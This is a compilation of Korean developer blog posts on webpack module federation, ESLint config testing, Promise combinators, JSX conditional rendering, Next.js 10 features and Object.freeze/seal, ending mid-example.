webpack 5가 발표 되면서 동시에 module federation도 직접해볼 수 있게 되었다. 한번 직접 적용해보면서 정말로 게임 체인저가 될 수 있는지 살펴보자.

해당 예제 프로젝트 저장소는 [여기](https://github.com/yceffort/webpack-module-federation-exmaple)다.

react v17과 webpack 5를 바탕으로, 아주 기초적인 세팅만 해서 빠르게 개발을 진행해보았다.

## main 설정

일단 메인 프로젝트가 있고, 여기저기에 있는 컴포넌트를 가져다 쓰는 모습을 상상해보면서 프로젝트를 만들어보자. main은 module federation으로 서빙되는 다른 프로젝트를 가져다가 쓰는 federation의 중심이라고 보면 될 것 같다.

`webpack.config.js`

```javascript
const path = require('path')

const HtmlWebpackPlugin = require('html-webpack-plugin')
const {ModuleFederationPlugin} = require('webpack').container

module.exports = {
  entry: './src/index',
  mode: 'development',
  devServer: {
    contentBase: path.join(__dirname, 'dist'),
    port: 3001,
  },
  output: {
    publicPath: 'http://localhost:3001/',
  },
  module: {
    rules: [
      {
        test: /\.jsx?$/,
        loader: 'babel-loader',
        exclude: /node_modules/,
        options: {
          presets: ['@babel/preset-react'],
        },
      },
    ],
  },
  plugins: [
    new ModuleFederationPlugin({
      name: 'main',
      remotes: {
        app1: 'app1',
      },
      shared: ['react', 'react-dom'],
    }),
    new HtmlWebpackPlugin({
      template: './public/index.html',
    }),
  ],
}
```

[ModuleFederationPlugin](https://webpack.js.org/concepts/module-federation/)을 사용한 것을 볼 수 있다. 이 플러그인은 `ContainerPlugin`과 `ContainerReferencePlugin` 를 합친 개념이라고 보면 될 것 같다.

여기는 단순히 expose 한 다른 federation을 가져다 쓰는 역할만 하기 때문에, `exposes`를 하기 않고 있다.

## app1 설정

`main`에서 가져다 쓸 실제 컴포넌트를 expose하는 곳이다.

`webpack.config.js`

```javascript
const path = require('path')

const HtmlWebpackPlugin = require('html-webpack-plugin')
const {ModuleFederationPlugin} = require('webpack').container

module.exports = {
  entry: './src/index',
  mode: 'development',
  devServer: {
    contentBase: path.join(__dirname, 'dist'),
    port: 3002,
  },
  output: {
    publicPath: 'http://localhost:3002/',
  },
  module: {
    rules: [
      {
        test: /\.jsx?$/,
        loader: 'babel-loader',
        exclude: /node_modules/,
        options: {
          presets: ['@babel/preset-react'],
        },
      },
    ],
  },
  plugins: [
    new ModuleFederationPlugin({
      name: 'app1',
      library: {type: 'var', name: 'app1'},
      filename: 'remoteEntry.js',
      exposes: {
        './Counter': './src/components/counter/index.jsx',
      },
      shared: ['react', 'react-dom'],
    }),
    new HtmlWebpackPlugin({
      template: './public/index.html',
    }),
  ],
}
```

`main`과 차이점은 `exposes`가 있다는 것이다. 여기에서는 간단한 `Counter`를 내보내도록 하고 있다. 그리고 이렇게 내보낸 `Counter`를 `https://localhost:3000/remoteEntry.js`에서 서비스 하도록 설정해주었다.

## main

`index.html`

```html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Main App</title>
  </head>

  <body>
    <div id="root"></div>
    <script src="http://localhost:3002/remoteEntry.js"></script>
  </body>
</html>
```

아까 서빙하기로 작성해둔 `remoteEntry.js`를 땡겨오는 모습이다. 물론 더 빠르게 만들기 위해서는 async 등을 사용할 수 도 있다.

`bootstrap.js`

이름이 `bootstrap`인 이유는 공식 문서에서 그렇게 하고 있길래 그렇게 했다. 👀 뜻과도 연관이 있을듯.

```javascript
import React, {Suspense} from 'react'
import ReactDOM from 'react-dom'

const Counter = React.lazy(() => import('app1/Counter'))

function App() {
  return (
    <>
      <h1>Hello from React component</h1>
      <Suspense fallback="Loading Counter...">
        <Counter title={'hello, counter'} />
      </Suspense>
    </>
  )
}

ReactDOM.render(<App />, document.getElementById('root'))
```

`React`의 `lazy`와 `suspense`를 활용하여 `app1`에서 expose한 `Counter`를 가져다 쓰고 있다.

## 결과

카운터가 잘 나오고 있고

![result1](./images/module-federation-result1.png)

정상적으로 `remoteEntry`에서 가져다 쓰는 것을 볼 수 있다.

![result2](./images/module-federation-result2.png)

그리고 두 컴포넌트 모두 `share`로 `['react', 'react-dom']`을 쓰고 있었는데, 이것 역시 중복되지 않고 `main`에서 묶어서 쓰고 있는 것을 알 수 있었다.

## 좋은 점 내지는 기대하는 미래

요즘 유행이라고 하는 [Micro Frontend](https://micro-frontends.org/)를 달성할 수 있는 좋은 방법 중 하나 인 것 같다. 하나의 앱이 덩치가 너무 커서, 싱글 폴트의 위험 내지는 개발환경에서 쓸 데 없이 다 불러와야 하는 문제 등등이 존재하는데, module federation이 그것을 훌륭하게 해결해 줄 수 있을 것 같다. (물론 `main`이 고장나버리면 답이 없겠지만)

![vertical](https://micro-frontends.org/ressources/diagrams/organisational/verticals-headline.png)

## 아쉬운 점

문서가 잘 나와있으면 좋을 것 같은데 아직 webpack의 문서가 좀 부실한 것 같다.

그래서

- https://github.com/webpack/webpack/blob/master/lib/container/ContainerPlugin.js
- https://github.com/webpack/webpack/blob/master/lib/container/ContainerReferencePlugin.js
- https://github.com/webpack/webpack/blob/master/lib/container/ModuleFederationPlugin.js
- https://github.com/module-federation/module-federation-examples

를 그냥 참고 하면서 했다. 다른 여타 기능들 처럼 webpack document에서 옵션으로 들어갈 수 있는 object의 특징이나 값을 명시해주었으면 좋겠다.

https://webpack.js.org/concepts/module-federation/#containerplugin-low-level

아직은 문서가 그냥 아주 간단한 예제와 컨셉정도만 보여주고 있어서 아쉽다.

이러한 Documentation의 아쉬움 말고는 아직 이렇다할 단점을 느끼지 못했다. (물론 대규모 서비스에 직접 써보지는 않았지만) 향 후에 `create-react-app`이라든지, 다른 프론트엔드 생태계에서 적극적으로 사용되어서 더욱 발전해나갔으면 좋겠다.

## 다양한 예제들

더욱 다양한 예제들은 [여기](https://github.com/module-federation/module-federation-examples)에서 볼 수 있다.

---

Source: https://yceffort.kr/2020/11/test-eslint-config.md
Title: eslint-config 를 위한 테스트 코드를 작성하기 (CI)
Description: eslint config 테스트 코드 작성
Date: 2020-11-03
Tags: testing, javascript

[eslint-config-yceffort](https://github.com/yceffort/eslint-config-yceffort)를 사용하면서 개인적으로 굉장히 만족도가 높아졌다. 하지만 한가지 아쉬운 것은 테스트 코드가 없다는 것과, 배포를 할 때 별도의 절차 없이 내 로컬에서 그때 그때 수동으로 하고 있다는 것이었다. 여기에도 CI CD절차가 있다면 좋다고 생각했다.

## 방법1

간단한 방법으로는, 올바른 코드를 작성한다음에, 해당 코드를 `test`시에 `eslint`를 돌리는 방법이다.

`./tests/.eslintrc`

```json
{
  "extends": ["../index"],
  "rules": {
    // your custom rules..
  }
}
```

`camelcase.test.js`

```javascript
const hello_world = 'hello_world'
console.log(hello_world)
```

나의 eslintrc 옵션에서는 `camelcase`가 off로 되어 있고, 정상적으로 off가 되어 있다면 test 시에 eslint 에러가 나지 않을 것이다.

하지만 이 방법은 아쉽게도, lint가 정상적으로 작동하는지에 대해서만 알 수 있을 뿐, eslint가 실패시 원하는 에러가 뜨는지, 경고가 떴을 경우에는 해당 경고가 뜨는지 까지는 알 수 없다.

## 방법2

확실한 방법은 [eslint-nodejs-api](https://eslint.org/docs/developer-guide/nodejs-api)를 사용하는 것이다. nodejs api 레벨에서 테스트를 해보고, 그 결과를 가지고 좀더 정확히 분석하는 방법이다.

```javascript
const {ESLint} = require('eslint')
const config = require('../../../index')
const {
  rules: {curly},
} = require('../../../rules/style')

const RULE_ID = 'curly'

const eslint = new ESLint({
  // 특정 룰만 가져온 이유는, 다른 룰로 인해서 에러가 나는 것을 방지하기 위해서다.
  // 즉 순수하게 테스트 하고 싶은 룰에 대해서만 룰을 집어 넣었다.
  baseConfig: {...config, rules: {curly}},
})

describe('eslint-config-yceffort curly', function () {
  it('right curly', async function () {
    const [result] = await eslint.lintFiles([`${__dirname}/curly.right.js`])

    const errors = result.messages.some((message) => message.ruleId === RULE_ID)

    // 올바른 케이스이기 때문에 true로 비교 하고 싶어서 이렇게 했다.
    expect(!errors).toBe(true)
  })

  it('wrong curly', async function () {
    const [result] = await eslint.lintFiles([`${__dirname}/curly.wrong.js`])

    const errors = result.messages.some((message) => message.ruleId === RULE_ID)

    // 잘못된 케이스이기 때문에 false로 비교 하고 싶어서 이렇게 했다.
    expect(!errors).toBe(false)
  })
})
```

`curly.wrong.js`

```javascript
if (true) {
  if (true) console.log('hello')
}
```

`curly.right.js`

```javascript
if (true) {
  for (let i of [1, 2, 3, 4, 5]) {
    console.log(i)
  }
}
```

github workflow 결과: https://github.com/yceffort/eslint-config-yceffort/runs/1345142937?check_suite_focus=true

## 결론

방법1은 작성하기 간단한 반면, 아주 정확하게 거를 수가 없다는 단점이 있고, 방법2는 작성하기엔 빡세지만 원하는 만큼 다양한 케이스에 대해서 테스트 코드를 작성할 수 있다는 장점이 있다.

방법2로 우리 조직의 `eslint-config`도 관리해보고 싶었지만, test case 작성이 너무 어렵다는 이유로 방법1을 선택했다. 🤔 (서운하지 않습니다.) 아무도 안쓰는 내 `eslint-config-yceffort`는 저렇게 관리해봐야겠다.

---

Source: https://yceffort.kr/2020/10/promise-combinators.md
Title: Promise 관련 API 살펴보기
Description: Promise.all에서 멈춰있지 말자
Date: 2020-10-31
Tags: javascript

[이 글](https://v8.dev/features/promise-combinators)을 번역 하고 요약했습니다.

| name                 | description                                     |                                                                      |
| -------------------- | ----------------------------------------------- | -------------------------------------------------------------------- |
| `Promise.allSettled` | does not short-circuit                          | this proposal 🆕                                                     |
| `Promise.all`        | short-circuits when an input value is rejected  | added in ES2015 ✅                                                   |
| `Promise.race`       | short-circuits when an input value is settled   | added in ES2015 ✅                                                   |
| `Promise.any`        | short-circuits when an input value is fulfilled | [separate proposal](https://github.com/tc39/proposal-promise-any) 🔜 |

## Promise.all

Promise를 배열로 받을 수 있으며, 모두 실행이 끝나거나 이 중 하나라도 reject 되면 끝나게 된다.

유저가 버튼을 클릭했을 때, CSS를 모두 다운로드 해서 완전히 새로운 UI를 그려주는 스펙을 상상해보자.

```javascript
const promises = [
  fetch('/component-a.css'),
  fetch('/component-b.css'),
  fetch('/component-c.css'),
]
try {
  const styleResponses = await Promise.all(promises)
  enableStyles(styleResponses)
  renderNewUi()
} catch (reason) {
  displayError(reason)
}
```

모든 요청이 성공해야 렌더링이 필요할 것이다. 만약 여기에서 하나라도 오류를 뱉게 된다면, 다른 작업이 끝나는 것을 기다리지 않고 바로 종료한다.

## Promise.race

`Promise.race`는 여러 개의 promise를 실행시킬 때, 아래와 같은 상황에서 유용하다.

1. 하나라도 먼저 끝나는 것을 원하는 경우
2. 바로 Promise가 리젝트 되었을 때 실행되길 원하는 경우

즉, Promise 중 하나가 거부되면 즉시 오류를 개별적으로 처리하게 된다.

```javascript
try {
  const result = await Promise.race([
    performHeavyComputation(),
    rejectAfterTimeout(2000),
  ])
  renderResult(result)
} catch (error) {
  renderError(error)
}
```

위 예제에서는 시간이 오래 걸리는 연산을 수행하거나, 2초후에 리젝트 되는 함수와 경쟁을 한다. 성공 또는 실패 중 첫번째로 실행되는 결과에 따라서 결과 또는 오류메시지를 처리할 수 있다.

## Promise.allSettled

`Promise.allSettled`는 모든 Promise 들이 종료되면, 성공과 실패와 상관없이 실행된다.
이는 Promise의 성공 실패가 중요하지 않고 단순히 종료되는 것을 확인하고 싶을 때 유용하다. 예를 들어, 모든 Promise가 끝나고 나면 로딩 스피너를 없애는 케이스가 존재할 수 있다.

```javascript
const promises = [
  fetch('/api-call-1'),
  fetch('/api-call-2'),
  fetch('/api-call-3'),
]

await Promise.allSettled(promises)
// 성공 실패와 관련없이 모두 종료가 되면 실행된다.
removeLoadingIndicator()
```

## Promise.any

`Promise.any`는 Promise가 하나라도 실행이 종료되면 실행된다는 점이 `Promise.race`와 유사하다. 다만 다른 점은, 하나가 실패한다고 해서 종료되지 않는다.

```javascript
const promises = [
  fetch('/endpoint-a').then(() => 'a'),
  fetch('/endpoint-b').then(() => 'b'),
  fetch('/endpoint-c').then(() => 'c'),
]
try {
  const first = await Promise.any(promises)
  // 첫번째로 성공한 Promise
  console.log(first)
  // → e.g. 'b'
} catch (error) {
  // 모든 Promise가 거절될 경우
  console.assert(error instanceof AggregateError)
  // 실패한 값을 프린트 한다.
  console.log(error.errors)
  // → [
  //     <TypeError: Failed to fetch /endpoint-a>,
  //     <TypeError: Failed to fetch /endpoint-b>,
  //     <TypeError: Failed to fetch /endpoint-c>
  //   ]
}
```

`Promise.any`에서 두 개 이상의 에러가 날 경우, 한번에 여러 에러들을 합칠 수 있는 [AggregateError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AggregateError)를 사용할 수도 있다.

```javascript
Promise.any([Promise.reject(new Error('some error'))]).catch((e) => {
  console.log(e instanceof AggregateError) // true
  console.log(e.message) // "All Promises rejected"
  console.log(e.name) // "AggregateError"
  console.log(e.errors) // [ Error: "some error" ]
})
```

---

Source: https://yceffort.kr/2020/10/use-ternaries-not-and-and-in-jsx.md
Title: JSX에서 && 대신에 3항 연산자를 더 선호하는 이유
Description: 사실 그냥 (몇 가지 합리적인 이유가 있는) 개인적인 취향임
Date: 2020-10-30
Tags: react, javascript

다른 사람들이 쓴 리액트 코드를 볼 때 마다 몇가지 눈여겨 보는게 있는데, 그 중 하나가 jsx안의 조건절이다. 이 사람은 `&&`을 선호나는지, 아니면 3항연산자를 선호하는지 살펴본다. 근데 보통은 간단해서 그런지 `&&`를 쓰는 경우가 더 많은 것 같다. 예전에는 이 것과 관련해서 코드 리뷰를 올려볼까도 했는데, 멀쩡히 작동하는 코드인데 괜히 시비 거는 것 같아서, 고칠 코드도 많아서, 그리고 결정적으로 소심해서 그냥 그냥 넘어가고는 했다. 그렇다. 이 글은 그냥 소심한 반항인 것이다.

```jsx
export default function StudentsList({students}) {
  return (
    <ul>
      {students.map(({id, name, score}) => (
        <li key={id}>
          {name} {score}
        </li>
      ))}
    </ul>
  )
}
```

여기에 이제 `&&`로 다음과 같은 조건을 추가했다고 생각해보자.

```jsx
export default function StudentsList({students}) {
  return (
    <ul>
      {students.length &&
        students.map(({id, name, score}) => (
          <li key={id}>
            {name} {score}
          </li>
        ))}
    </ul>
  )
}
```

만약 `students`에 `[]` 빈 배열이 온다면 렌더링이 안되어야 할 것 같지만, 실제로는 `0`이 프린트 된다.

이 버그는 예전 회사에서도 봤던 버그고, 심지어 페이팔에서도 이러한 버그가 있었다고 한다.

![paypal-bug](https://res.cloudinary.com/kentcdodds-com/image/upload/f_auto,q_auto,dpr_2.0/v1625033483/kentcdodds.com/content/blog/use-ternaries-rather-than-and-and-in-jsx/no-contacts.png)

자바스크립트에서 `0`은 `falsy`한 값으로 취급되기 때문에, `&&` 우측에 있는 값은 계산하지 않는다. 근데 어디까지나 `falsy`한 값인 거지, `null`이나 `undefined`처럼 렌더링을 안하는 값은 아니기 때문에 (순수하게 빈값으로 계산되지는 않으므로) 0이 나오게 된다.

해결책은, `students.length === 0 && ...`을 쓰거나, 삼항연산자로 바꾸면 된다.

```jsx
export default function StudentsList({students}) {
  return (
    <ul>
      {students.length
        ? students.map(({id, name, score}) => (
            <li key={id}>
              {name} {score}
            </li>
          ))
        : null}
    </ul>
  )
}
```

아래와 같은 코드는 어떤가?

```jsx
// students가 undefined로 넘어왔다면?
export default function StudentsList({students}) {
  return (
    students && (
      <ul>
        {students.map(({id, name, score}) => (
          <li key={id}>
            {name} {score}
          </li>
        ))}
      </ul>
    )
  )
}
```

다음과 같은 에러가 날것이다.

```bash
Nothing was returned from render. This usually means a return statement is missing. Or, to render nothing, return null.
```

(대충 또 끔찍하다는 이미지)

이 경우에는 `undefined && ...` 이 되기 때문에, `undefined`가 리턴되고, 위와 같은 에러가 뜨게 된다.

```javascript
0 && true // 0
true && 0 // 0
false && true // false
true && '' // ''
[] && true // true
```

이 처럼 `&&`는 자주 쓰는 `if`문 과 동작이 미묘하게 다르다. 그래서 이게 자바스크립트 퀴즈에 종종 나오곤한다.

```javascript
const notifications = 1

console.log(
  `You have ${notifications} notification${notifications !== 1 && 's'}`,
)
```

> 출처: https://quiz.typeofnan.dev/short-circuit-notifications/ `&&`은 정식 명칭으로 `Short-circuit evaluation`이다.

지금까지 말한 예제와는 조금 다르지만, 이것도 마찬가지로 의도 대로 동작하지 않는다.

```bash
You have 1 notificationfalse
```

## 그래서

명백하게 조건에 따라서 jsx에서 렌더링을 하고 싶지 않다면 삼항연산자를 썼으면 좋겠다.

- 우리가 이해하고 있는 `if`문 동작과 일치한다.
- 불필요한 버그나, 의도치 않은 동작 만들지도 않는다.
- jsx에 `null`이 명시적으로 표시되어 있으면 다른 개발자들도 이 부분에서 렌더링이 안되는 경우가 있다는 것을 명시적으로 알 수 있고 이를 유념할 수 있다.
- 삼항연산자가 더 이쁘다. 👀

---

Source: https://yceffort.kr/2020/10/nextjs-10.md
Title: Nextjs 10 릴리즈 및 적용 후기
Description: nextjs 정말 열일하네
Date: 2020-10-28
Tags: nextjs, frontend, web-performance

nextjs 10.0.0이 릴리즈 되었다. 내가 좋아하는 오픈소스 중 하나 이기 때문에, 릴리즈 노트를 읽어보면서 당장 내 블로그에 적용해보았다. 그리고 적용하면서 어떤게 바뀌었는지 하나씩 확인해보려고 한다.

- 릴리즈노트: https://nextjs.org/blog/next-10

## 빌트인 이미지 컴포넌트, 그리고 자동 이미지 최적화

이미지는 마크업과 함께 웹에서 큰 트래픽을 유발하는 범인중 하나다. 이러한 이미지를 최적화 하기 위해, `next/image` 라는 전용 이미지 컴포넌트를 적용하였다. 브라우저에서 `Webp`가 사용 가능하다면, 해당 이미지를 변환해서 적은 용량으로 내려주고, 동시에 lazy loading도 해준다고 한다.

### 대상 이미지

![blog profile](./images/profile.png)

### 적용전

```typescript
const AuthorPhoto = styled.image`
  display: inline-block;
  margin-bottom: 0;
  border-radius: 50%;
  background-clip: padding-box;
  width: 75px;
  height: 75px;
  cursor: pointer;
`

return <AuthorPhoto alt={name} src={photo} />
```

```html
<img
  alt="yceffort"
  src="/profile.png"
  class="Author__AuthorPhoto-sc-1ywmx02-0 fMrwt"
/>
```

```bash
accept-ranges: bytes
access-control-allow-origin: *
age: 1331855
cache-control: public, max-age=0, must-revalidate
content-disposition: inline; filename="profile.png"
content-length: 30710
content-type: image/png
date: Wed, 28 Oct 2020 02:05:42 GMT
etag: W/"078a2ad86a1350e007d801e7f74b073ed415e5bdd60a60e5b65b9fafe972af03"
server: Vercel
status: 200
strict-transport-security: max-age=63072000w
x-content-type-options: nosniff
x-frame-options: DENY
x-vercel-cache: HIT
x-vercel-id: icn1::chhv4-1603850742953-91ba1434fc9c
x-xss-protection: 1; mode=block
```

### 적용후

그리고 이를 `next/image`로 아래와 같이 바꿨다.

```typescript
import Image from 'next/image'

const AuthorPhoto = styled(Image)`
  display: inline-block;
  margin-bottom: 0;
  border-radius: 50%;
  background-clip: padding-box;
  width: 75px;
  height: 75px;
  cursor: pointer;
`

// width와 height를 지정해줘야 한다.
return <AuthorPhoto alt={name} src={photo} width={75} height={75} />
```

```html
<img
  alt="yceffort"
  data-src="/_next/image?url=%2Fprofile.png&amp;w=320&amp;q=75"
  data-srcset="/_next/image?url=%2Fprofile.png&amp;w=320&amp;q=75 320w"
  class="Author__AuthorPhoto-sc-1ywmx02-0 fMrwt"
  style="visibility: visible; height: 100%; left: 0px; position: absolute; top: 0px; width: 100%;"
  src="/_next/image?url=%2Fprofile.png&amp;w=320&amp;q=75"
  srcset="/_next/image?url=%2Fprofile.png&amp;w=320&amp;q=75 320w"
/>
```

```bash
accept-ranges: bytes
access-control-allow-origin: *
age: 276
cache-control: public, max-age=0, must-revalidate
content-disposition: inline; filename="profile.png"
content-length: 18898
content-type: image/webp
date: Wed, 28 Oct 2020 02:06:37 GMT
server: Vercel
status: 200
strict-transport-security: max-age=63072000; includeSubDomains; preload
x-content-type-options: nosniff
x-frame-options: DENY
x-robots-tag: noindex
x-vercel-cache: HIT
x-vercel-id: icn1::q6js7-1603850797310-7e6bd3beb3f0
x-xss-protection: 1; mode=block
```

일단 이미지가 눈에 띄게 lazy loading이 되었고 (나중에 떴고) 이미지 사이즈도 webp를 사용하면서 눈에 띄게 줄어든 모습이다. 구글 크롬팀에서 이미지 성능을 향상 시킬 수 있는 리액트 컴포넌트를 만들 수 있도록 도와주었다고 하는데, 나중에 소스 코드를 보는 것도 재밌을 것 같다.

## 국제화 라우팅

당장 내가 쓸 일이 있을지는 모르겠지만, 언어별 라우팅을 지원한다. 그리고 최신 브라우저가 지원하는 `Accept-language`헤더를 기반으로 언어 감지를 할 수 있는 기능도 추가되었다고 한다.

```javascript
// next.config.js
module.exports = {
  i18n: {
    locales: ['en', 'nl'],
    domains: [
      {
        domain: 'example.com',
        defaultLocale: 'en',
      },
      {
        domain: 'example.nl',
        defaultLocale: 'nl',
      },
    ],
  },
}
```

## 성능 분석

nextjs를 사용하는 웹 어플리케이션의 성능을 분석할 수 있는 도구를 지원한다.

https://nextjs.org/analytics

당장은 vercel만 지원하는 것 같은데(?) 운좋게도(?) 블로그가 vercel로 서빙되고 있기 때문에 당장 시도해보러 갔다.

![analytics](./images/analytics1.png)

![analytics](./images/analytics2.png)

(점수가 깎이는 것은 아마도 메인페이지의 페이지 전환 버튼 때문인 것 같다. 현재 타이틀 제목 길이에 따라서 페이징 버튼이 위아래로 일관되지 못하게 움직이는 버그가 있다.)

일단 모양새와 제공데이터는 구글 라이트 하우스와 비슷한데, 차이가 있다면 page 별로 데이터도 지원한다는 것이다. 다만 서두에도 말한 것 처럼 vercel을 써야만 누릴 수 있는 기능이라 🤔 근데 라이트 하우스에 비해 크게 차별점도 없다면...

## 커머스 키트 제공

https://nextjs.org/commerce

Next.js가 본격적으로 돈을 벌 만한 비즈니스를 시작하는 것 같다. 간단하게 말헤 next.js로 커머스 사이트를 만들 수 있는 도구를 제공한다고 한다.

## 리액트 17 지원

react 17을 지원한다. breaking change가 없으므로 바로 적용 가능하며 react를 import 하지 않아도 사용할 수 있는 jsx transform 기능도 사용할 수 있게 되었다.

https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html

## getStaticProps, getServerSideProps 빠른 새로고침

이제 해당 두 함수에서 코드 변화가 일어나면, 자동으로 새로고침을 지원한다고 한다. 이게 안되었다는 걸 이제 알았는데(??????) 해보니까 잘된다.

## 써드 파티 리액트 컴포넌트에서 css 임포트 가능

```javascript
import DatePicker from 'react-datepicker'
import 'react-datepicker/dist/react-datepicker.css'
```

이를 바탕으로, 단일 컴포넌트 레벨에서 CSS 코드 스플리팅이 가능해졌다. 자세한 내용은 https://nextjs.org/docs/basic-features/built-in-css-support

## `href` 자동화

이전까지, 다이나믹 라우팅을 사용하기 위해서 `next/link`에서 `href` `as`를 넣어 주어야 했다.

```html
<link href="/categories/[slug]" as="/categories/books" />
```

여기서 `as`는 실제 브라우저 URL 바에서 보이는 주소인데, 이전까지는 `href`와 `as`를 아래와 같이 따로 넣어주어야 했다.

```javascript
const pids = ['id1', 'id2', 'id3']
{
  pids.map((pid) => (
    <Link href="/post/[pid]" as={`/post/${pid}`}>
      <a>Post {pid}</a>
    </Link>
  ))
}
```

그러나 나를 비롯해서 많은 개발자들이 `as`의 사용에 대해서 혼란이 있었던 것 같다. (`as`를 넣어야 하는데 까먹는 다든지) 그래서 `as`가 더 이상 필요없어졌다고 한다. 이제는 기존에 `as`에 넣었던 값을 `href`에 넣어주면 된다. 그게 훨씬 더 이전의 리액트나 HTML경험에서도 자연스러워 보인다.

## `@next/codemod` cli

nextjs 에서 기능이 deprecated 되는 등의 대규모 코드 베이스 변경이 필요한 경우에 사용할 수 있는 툴이다. codemode는 소스 코드 업데이트를 위해 프로젝트에서 실행할 수 있는 자동화 코드 변경 툴이다.

https://nextjs.org/docs/advanced-features/codemods

## `getStaticPaths`에 블로킹 fallback 추가

`getStaticProps` 와 `getStaticPaths`에 `fallback` 속성이 추가되어 있었다. 이 속성은 최초에는 정적 페이지 (fallback 페이지)를 제공하고, 이후 요청 시에는 완전히 렌더링된 콘텐츠를 제공할 수 있도록 도와주는 기능이었다. 그러나 몇몇 개발자들이, 사용자가 페이지를 처음 요청할때는 사전 렌더링을 차단할 수 있는 옵션을 요구했었나 보다. (나또한 fallback 페이지를 보여주는 것이 사용자들에게 안좋은 사용자 경험을 제공한다고 생각했다. ) 그래서 `blocking`옵션이 추가되었다.

```javascript
export function getStaticPaths() {
  return {
    fallback: 'blocking',
  }
}
```

이 옵션을 추가하면, fallback 페이지를 보여주는 대신에, 그냥 최초 렌더링이 서버에서 내려올 때 까지 기다린다.

## 결론

여러가지로 nextjs는 정말로 잘 관리되고 있는 리액트 SSR 프레임워크다. 단순히 nextjs 뿐만 아니라 여러가지로 nextjs를 중심으로 다양한 생태계를 만들어 가려는 것이 보인다.

모질라나 webpack 등 순수하게 기부로 운영되고 있는 대규모 오픈소스 프로젝트들이 코로나 시국이 닥치면서 생존 문제에 직면한 것을 보고 마음이 안타까웠다. 이러한 문제를 vercel도 알고 있는 듯, 여러가지로 수익화를 하려는 노력이 보였다. `vercel`, `next commerce` 등의 비즈니스를 통해서, 단순히 기부에 의존하는 것이 아니라 다각도로 생존에 대해 고민하고 있는 것이 보인다. 개인적으로 다 잘되었으면 하는 바람이다.

회사를 옮기면서 nextjs는 업무에서는 더 이상 쓰지 못하고 있지만 (ㅠㅠ) 블로그나 개인 프로젝트에서는 나름 적극적으로 사용하고 있었다. 심지어 지금 하고있는 nextjs conf 도 꼬박 꼬박 잘챙겨보고 있다. (미리 신청해서 티켓도 받아놨었는데 어디간지 모르겠네)

전 회사 사람들은 next github에 issue 도 올려서 contribute도 했는데 아직도 나는 가져다 쓰고 구글링 하기에 바쁘다 😇

같은, 그리고 연차도 더 많은 개발자로서 부끄럽지 않을 수가 없는 일이다. 조만간 오픈소스에 기여할 날도 오기를 바라며 열심히 공부를 해야겠다.

---

Source: https://yceffort.kr/2020/10/object-freeze-seal-preventExtensions.md
Title: Object.freeze(), Object.seal(), Object.preventExtensions()의 차이
Description: ECMAScript 5부터 있었는데 몰랐음
Date: 2020-10-27
Tags: javascript

ECMAScript 5 스펙 중에 아래와 같은 것이 있다.

- `Object.freeze()`
- `Object.seal()`
- `Object.preventExtensions()`

얼핏보면 이름까지 비슷해보이는 세 메소드의 차이를 알기 위해서는, 객체의 구조에 대한 기본적인 지식이 있어야 한다.

## 객체의 구조

자바스크립트에서 객체는 특정 속성 또는 동작, 메소드를 포함할 수 있는 데이터 유형이다. 이러한 속성은 변경, 삭제, 혹은 새로운 속성 값을 추가할 수도 있다. 여기에는 두가지 유형이 있다.

- Data Properties: 객체 내부에 정의 되어 있는 일반적인 속성을 의미한다.
- Accessor Properties: 접근자 속성이라고도 하며, 객체의 값을 설정하거나 가져올 수 있는, getter 와 setter라고 보면된다. 이들은 `get` `set` 으로 네이밍 되어 있다.

```javascript
let person = {
  firstName: 'yongchan',
  lastName: 'Kim',

  get fullName() {
    return `${this.firstName} ${this.lastName}`
  },

  set fullName(name) {
    ;[this.firstName, this.lastName] = name.split(' ')
  },
}

person.fullName = 'yc effort'

console.log(person.firstName) // yc
console.log(person.lastName) // effort
```

우리가 생성하는 모든 객체는, 자바스크립트 객체 생성자의 속성을 상속 받게 된다. 그 중 하나가 `Object.prototype`이다. `prototype`속성을 활용해서, 존재하는 모든 객체에 새로운 속성을 추가할 수 있다.

```javascript
let person = {
  firstName: 'yongchan',
  lastName: 'Kim',
```

위에서 예를 든 이 객체에서, 각각의 속성은 다음과 같은 메타데이터를 가지고 있다.

- `enumerable` (boolean): true 라면 loop를 돌아서 확인 가능하다.

```javascript
let obj = {
  x: 1,
  y: 2,
}

Object.defineProperty(obj, 'x', {
  enumerable: false, // false
  configurable: true,
  writable: true,
  value: 1,
})

Object.defineProperty(obj, 'y', {
  enumerable: true,
  configurable: true,
  writable: true,
  value: 2,
})

Object.keys(obj) // ['y'] 만 뜬다 띠요오오오오옹
```

- `configurable` (boolean): true 라면 재 설정이 가능하다.

```javascript
let obj = {
  x: 1,
  y: 2,
}

Object.defineProperty(obj, 'x', {
  enumerable: true,
  configurable: false, // false
  writable: true,
  value: 1,
})

delete obj.x // false 가 뜨면서 삭제가 안됨
delete obj.y // true 가 리턴되고 삭제도됨
```

- `writable` (boolean): true라면 값이 변경 될 수 있다.

```javascript
let obj = {
  x: 1,
  y: 2,
}

Object.defineProperty(obj, 'x', {
  enumerable: true,
  configurable: true,
  writable: false, // false
  value: 1,
})

obj.x = 100 // 100 이 리턴되긴 하는데 수정은 안되있음
obj.y = 100 // 100 이 리턴되며 수정도 되있음
```

반대로, 접근자 속성은 값을 가지고 있지 않다. 이들은 `get` `set` 함수를 가지고 있다.

- `get`
- `set`
- `enumerable`
- `configurable`

값이 없기 때문에, `writeable`은 존재하지 않는다.

```javascript
let obj = {
  x: 1,
  y: 2,
}
```

## Object.freeze()

- 속성을 추가할 수 없다.
- 존재하는 속성을 삭제할 수 없다.
- 변경할 수 없다.
- 속성에 대해 `configurable`을 변경할 수도 없다. `writable` `configurable`는 false로 되어 있다.
- prototype도 변경할 수 없다.
- `freeze()` 되어 있는 객체에 변경하려고 하는 시도는 모두 에러를 내뱉는다.
- `Object.isFrozen()`으로 확인이 가능하다.

## Object.seal()

- 속성을 추가할 수 없다.
- 존재하는 속성을 삭제할 수도 없다.
- 존재하는 속성에 대해 `reconfigure`할 수 없다.
- 데이터 속성을 접근자 속성으로 바꾸거나, 그 반대로도 불가능하다.
- 그러나 존재하는 값에 대해서 수정은 가능하다.
- 또한 존재하는 값에 대해서 추가가 가능하다.
- 위 아래 두 메소드와는 다르게, seal은 봉인한 객체를 리턴하므로, 해당 객체를 써야 한다.

```javascript
let obj = {
  x: 1,
  y: 2,
  z: {
    a: 1,
    b: 2,
  },
}

let sealedObj = Object.seal(obj)
